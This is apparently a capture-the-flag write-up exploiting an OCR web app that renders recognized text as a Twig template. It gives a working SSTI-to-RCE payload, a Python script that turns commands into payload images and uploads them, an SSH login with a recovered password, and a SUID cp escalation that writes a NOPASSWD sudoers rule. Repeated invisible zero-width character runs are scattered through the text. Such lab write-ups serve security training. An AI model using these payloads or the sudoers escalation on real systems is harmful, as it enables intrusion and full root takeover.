← Back to Writeups
CUSTOMMediumPentest

Virtual Reality

XESXOR9/2/20265 min read
#pentest#custom#medium#command_execution_via_template#metadata_clue_extraction#ocr_payload_rendering#suid_cp_privilege_escalation#twig_ssti#linux

Virtual Reality

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-17 | Status: Solved Techniques: command_execution_via_template, metadata_clue_extraction, ocr_payload_rendering, suid_cp_privilege_escalation, twig_ssti

Summary

Task: a host exposed an OCR web app and SSH, with PHP source later showing OCR text rendered through Twig. Solution: build OCR-friendly Twig payload images for SSTI-to-RCE, extract SSH credentials from image metadata, then abuse SUID cp to add a sudoers rule and read the root flag half.

Virtual Reality — hackerlab

Description

Виртуальная реальность

English summary: the challenge exposed two services on the same host: an OCR web application and an SSH service. The goal was to turn the web bug into code execution, pivot to a user shell, escalate to root, and reconstruct the full flag from two separate files.

Analysis

Initial recon

The target exposed:

  • HTTP on 62.173.140.174:18100
  • SSH on 62.173.140.174:18122

Port 18122 identified as OpenSSH 8.9p1 Ubuntu. Port 18100 served an IMAGE2TEXT upload page that accepted image files and returned recognized text. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

One useful information leak was publicly accessible dependency metadata at /vendor/composer/installed.json, which revealed thiagoalessio/tesseract_ocr 2.12.0. That strongly suggested the application OCR flow was implemented in PHP and that any text extracted from the uploaded image might be processed server-side in an unsafe way.

The page background used a New York / Brooklyn / Manhattan theme, which suggested a Home Alone / Kevin reference. That hint became important later during post-exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root cause: OCR text rendered as Twig template

After gaining SSH access later, reading /var/www/html/index.php confirmed the exact vulnerability:

php
<?php
use thiagoalessio\TesseractOCR\TesseractOCR;
require 'vendor/autoload.php';
include 'vendor/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
function is_image($path)
{
    $a = getimagesize($path);
    $image_type = $a[2];
    if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP)))
    {
        return true;
    }
    return false;
}
if (isset($_FILES['image4text']))
{
    $fileName = $_FILES['image4text']['name'];
    $fileSize = $_FILES['image4text']['size'];
    $fileTmpName  = $_FILES['image4text']['tmp_name'];
    if ($fileSize > 5000000) {
        die("Слишком большой размер файла (5MB)");
    }
    if (!is_image($fileTmpName)) {
        die("Этот файл не является изображением!");
    }
    try {
      $output = (new TesseractOCR($fileTmpName))->run();
      $loader = new Twig_Loader_String();
      $twig = new Twig_Environment($loader);
      $output = $twig->render($output);
    } catch (Exception $e) {
        $output = "При чтении текста с изображения возникла ошибка.";
    }
    if (empty($output)) $output = "Не могу распознать текст :(";
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug is the last three lines in the try block:

  1. OCR extracts text from the uploaded image.
  2. That extracted text is treated as a Twig template string.
  3. The template is rendered immediately.

This is exploitable because the attacker fully controls the image content, which means they can fully control the OCR output. If the OCR reliably reads Twig syntax, the server evaluates attacker-supplied Twig expressions. That is classic server-side template injection (SSTI).

Making OCR reliable enough for exploitation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The main practical issue was not the template engine itself but OCR accuracy. Some fonts caused dropped or misread punctuation, which breaks Twig payloads very easily. A monospace font, Menlo, produced stable recognition for braces, underscores, parentheses, and quotes.

The first proof payload was:

twig
{{7*7}}

The page rendered:

text
49

That confirmed code execution inside the template engine, not just reflected OCR text.

Further fingerprinting also worked:

twig
{{constant("PHP_VERSION")}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

which returned:

text
8.1.2-1ubuntu2.10

Solution

Step 1 — Turn Twig SSTI into command execution

The working RCE payload was:

twig
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}

This old Twig technique registers system as a callback for undefined filters. The later getFilter('id') lookup triggers that callback, effectively executing system('id').

The response showed the web process context:

text
uid=33(www-data) gid=33(www-data) groups=33(www-data)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

To automate exploitation, a helper script was created locally to render OCR-friendly payload images and upload them:

python
#!/usr/bin/env python3
import re
import sys
from pathlib import Path

import requests
from PIL import Image, ImageDraw, ImageFont


URL = "http://62.173.140.174:18100/"
FONT = "/System/Library/Fonts/Menlo.ttc"
FIXED = "{{_self.env.registerUndefinedFilterCallback('system')}}"


def render_payload(cmd: str, size: int = 80) -> Path:
    font = ImageFont.truetype(FONT, size)
    line2 = f"{{{{_self.env.getFilter('{cmd}')}}}}"
    lines = [FIXED, line2]
    width = max(len(x) for x in lines) * int(size * 0.72)
    height = 120 + len(lines) * int(size * 1.6)
    img = Image.new("RGB", (width, height), "white")
    draw = ImageDraw.Draw(img)
    y = 20
    for line in lines:
        draw.text((20, y), line, fill="black", font=font)
        y += int(size * 1.35)
    out = Path(__file__).with_name("payload.png")
    img.save(out)
    return out
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def run(cmd: str) -> str:
    img_path = render_payload(cmd)
    with img_path.open("rb") as fh:
        resp = requests.post(
            URL, files={"image4text": ("payload.png", fh, "image/png")}, timeout=45
        )
    m = re.search(r"<p3>(.*?)</p3>", resp.text, re.S)
    return m.group(1) if m else ""


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} <command>")
        raise SystemExit(1)
    print(run(" ".join(sys.argv[1:])))

Step 2 — Enumerate from www-data

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Using the OCR-driven RCE, /home was enumerated and revealed user kevin.

Listing /home/kevin showed:

  • first_part
  • me.jpg

first_part was interesting, but direct SSH access as the user was the cleaner route.

Step 3 — Extract the SSH password from image metadata

The file me.jpg contained useful metadata. Its IPTC Copyright Notice was:

text
eW91Y2FudGhhY2ttZWxvc2Vy

Base64-decoding it produced:

text
youcanthackmeloser

That string was the SSH password for user kevin on port 18122. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4 — Login with SSH and recover the user flag half

Login command:

bash
sshpass -p 'youcanthackmeloser' ssh -p 18122 kevin@62.173.140.174

The file /home/kevin/first_part contained:

text
CODEBY{1s_al0n3

Step 5 — Privilege escalation via SUID cp

Enumeration from the web shell showed that /usr/bin/cp had the SUID bit set. That is dangerous because it lets a low-privileged user copy attacker-controlled files into root-owned locations with elevated privileges.

As kevin, sudo -l showed no existing sudo permissions, so the escalation path was to drop a new sudoers file: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
echo 'kevin ALL=(ALL) NOPASSWD:ALL' >/tmp/k
chmod 440 /tmp/k
/usr/bin/cp /tmp/k /etc/sudoers.d/kevin
sudo -n id

That yielded root.

Step 6 — Recover the root flag half

The file /root/last_part contained:

text
_at_h0m3}

Reconstructing both halves:

text
CODEBY{1s_al0n3
_at_h0m3}

Final flag:

text
CODEBY{REDACTED}

Why the SSTI was exploitable

The important point is that the application did not just OCR the uploaded image and display the text. Instead, it interpreted the OCR output as code in a template language. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

That creates an attacker-controlled execution chain:

  1. Upload an image containing a Twig expression.
  2. Tesseract reads the expression into a string.
  3. Twig_Loader_String loads that string as a template.
  4. render() evaluates it on the server.

Normally OCR output should be treated as plain data and escaped before display. Rendering it as a template turns a text-recognition feature into a remote code execution primitive. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍